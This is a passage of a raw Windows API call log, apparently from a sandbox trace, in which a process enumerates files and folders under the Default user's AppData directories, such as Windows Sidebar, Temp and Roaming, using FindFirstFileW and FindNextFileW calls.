FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="")) returned 1 [0209.958] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="")) returned 1 [0209.958] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="")) returned 1 [0209.959] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="")) returned 1 [0209.959] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="")) returned 1 [0209.959] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="")) returned 1 [0209.959] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="")) returned 1 [0209.959] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="")) returned 1 [0209.960] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="")) returned 1 [0209.960] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.960] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.960] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0209.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0209.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.961] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x38 [0209.962] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.962] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.962] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0209.962] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377dee7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0209.963] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.963] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.963] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x38 [0209.963] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.963] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.964] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0209.964] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377dee7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0209.964] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377dee7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 0 [0209.964] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.965] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpFilePart=0x0) returned 0x40 [0209.965] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.965] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.965] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.965] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.966] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpFilePart=0x0) returned 0x40 [0209.966] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.966] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.966] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.966] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.967] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0209.967] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\default\\appdata\\local\\temp\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0209.967] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.967] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.968] FindClose (in: hFindFile=0x1d469ac0 | out: hFindFile=0x1d469ac0) returned 1 [0209.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0209.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0209.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.968] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0209.968] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\default\\appdata\\local\\temp\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.968] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.968] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.969] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0209.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0209.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.969] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x37 [0209.969] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd290) returned 1 [0209.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.972] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x37 [0209.972] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd290) returned 1 [0209.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.975] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0209.975] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.976] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1dd780 | out: 